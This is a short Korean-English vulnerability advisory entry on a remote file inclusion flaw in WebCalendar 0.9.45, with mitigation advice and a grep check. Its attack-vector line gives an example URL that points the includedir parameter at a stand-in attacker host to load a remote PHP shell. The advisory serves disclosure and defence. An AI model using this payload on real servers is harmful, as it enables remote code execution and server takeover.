🇰🇷 한글 설명
WebCalendar 0.9.45의 다중 원격 파일 포함(RFI) 취약점으로, includedir 파라미터를 통해 공격자가 원격에서 임의의 PHP 코드를 실행할 수 있습니다. login.php, get_reminders.php, get_events.php 파일이 영향을 받습니다.
💡 쉬운 설명
WebCalendar에서 특정 파라미터를 조작하면 공격자가 원격 서버의 파일을 불러와 실행할 수 있는 결함이 있습니다. 이를 이용해 시스템을 완전히 장악할 수 있습니다.
🇺🇸 원문 (English)
Multiple PHP remote file inclusion vulnerabilities in WebCalendar 0.9.45 allow remote attackers to execute arbitrary PHP code via a URL in the includedir parameter to (1) login.php, (2) get_reminders.php, or (3) get_events.php.
📍 영향받는 시스템
WebCalendar 0.9.45 및 이전 버전
⚔️ 공격 벡터
includedir 파라미터에 외부 URL 주입 후 PHP 코드 실행 (예: http://target/login.php?includedir=http://attacker.com/shell.php)
🛡️ 대응 방법
WebCalendar를 0.9.46 이상으로 업그레이드하거나 includedir 파라미터 입력값 검증 및 원격 파일 포함 차단
🔧 검증 코드
WebCalendar 설치 경로에서 includedir 사용 여부 확인. 결과가 없으면 안전, 있으면 버전 확인 필요
grep -r 'includedir' /var/www/webcalendar/ 2>/dev/null | head -5